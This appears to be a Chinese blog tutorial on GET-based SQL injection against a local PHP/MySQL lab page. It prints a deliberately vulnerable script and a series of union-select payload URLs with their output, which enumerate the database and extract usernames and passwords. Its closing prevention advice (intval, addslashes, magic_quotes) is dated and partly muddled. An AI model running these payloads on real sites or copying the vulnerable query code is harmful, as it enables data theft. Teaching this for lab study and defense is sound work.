sql_injection之基本get注入

1、代码篇

<?php
error_reporting(0);
include("../conn.php");
if(isset($_GET['id'])){
    $id=$_GET['id'];
    echo "你当前输入id:".$id."<br>";
    $sql="select * from user where id='$id' limit 0,1";
    $res=mysql_query($sql);
    $row=mysql_fetch_array($res);
    if($row){
        echo "你获取的数据:<br>";
        echo "id:".$row['id']."<br>";
        echo "username:".$row['username']."<br>";
        echo "password:".$row['password']."<br>";
    }
    else{
        echo "mysql_query error".mssql_error();
    }
}
else{
    echo "请输入id";
}
?>

2、注入篇

http://localhost/pentest/sql/sql_get_id.php?id=1

你当前输入id:1
你获取的数据:
id:1
username:admin
password:pass

构造sql注入语句:

http://localhost/pentest/sql/sql_get_id.php?id=1'  --+

你当前输入id:1' --
你获取的数据:
id:1
username:admin
password:pass

我们就可以进行各种各样的查询

http://localhost/pentest/sql/sql_get_id.php?id=1' and 1=2 union select @@datadir,database(),version() --+

你当前输入id:1' and 1=2 union select @@datadir,database(),version() -- 
你获取的数据:
id:D:wampinmysqlmysql5.5.20data
username:bloodzero
password:5.5.20-log

这里我解释一下,and 1=2 的目的是为了不执行前面的查询语句,而执行后面的查询语句;

好了,我们继续进行注入;获取了一定的信息以后就需要密码和用户名;

http://localhost/pentest/sql/sql_get_id.php?id=1' and 1=2 union select current_user(),2,3 --+

你当前输入id:1' and 1=2 union select current_user(),2,3 --
你获取的数据:
id:root@localhost
username:2
password:3
注:有的时候拿到了高权限的账号,可以直接进行提权,详细请关注后续;

http://localhost/pentest/sql/sql_get_id.php?id=1' and 1=2 union select schema_name,2,3 from information_schema.schemata limit 0,1 --+

你当前输入id:1' and 1=2 union select schema_name,2,3 from information_schema.schemata limit 0,1 --
你获取的数据:
id:information_schema
username:2
password:3

注:我们可以通过改变limit 0,1的值来获取不同的值;
limit m,n
m:表示从查询结果的第几条开始取;
n:表示取多少条;

http://localhost/pentest/sql/sql_get_id.php?id=1' and 1=2 union select table_name,2,3 from information_schema.tables where table_schema=database() limit 0,1 --+

你当前输入id:1' and 1=2 union select table_name,2,3 from information_schema.tables where table_schema=database() limit 0,1 --
你获取的数据:
id:user
username:2
password:3

http://localhost/pentest/sql/sql_get_id.php?id=1' and 1=2 union select column_name,2,3 from information_schema.columns where table_name='user' limit 0,1 --+

你当前输入id:1' and 1=2 union select column_name,2,3 from information_schema.columns where table_name='user' limit 0,1 --
你获取的数据:
id:id
username:2
password:3

注:这里的表名如果执行不成功,可以更换为16进制

  附:小葵转换工具 提取码:yisi

http://localhost/pentest/sql/sql_get_id.php?id=1' and 1=2 union select id,username,password from user limit 0,1 --+

你当前输入id:1' and 1=2 union select id,username,password from user limit 0,1 --
你获取的数据:
id:1
username:admin
password:pass

 3、防注入

对于php+mysql防注入:首先将magic_quotes_off的值设为On;

int型

<?php
error_reporting(0);
include("../conn.php");
if(isset($_GET['id'])){
    $id=$_GET['id'];
    $id=intval($id);
    echo "你当前输入id:".$id."<br>";
    $sql="select * from user where id='$id' limit 0,1";
    ……  
?>

char型

<?php
error_reporting(0);
include("../conn.php");
if(isset($_GET['id'])){
    $id=$_GET['id'];
    $id=intval($id);
    /*
    $search=addslashes($search);
    $search=str_replace(“_”,”\_”,$search);   #过滤_
    $search=str_replace(“%”,”\%”,$search);   #过滤%
    */
    echo "你当前输入id:".$id."<br>";
    $sql="select * from user where id='$id' limit 0,1";
    $res=mysql_query($sql);
    ……
?>
原文地址:https://www.cnblogs.com/BloodZero/p/4424763.html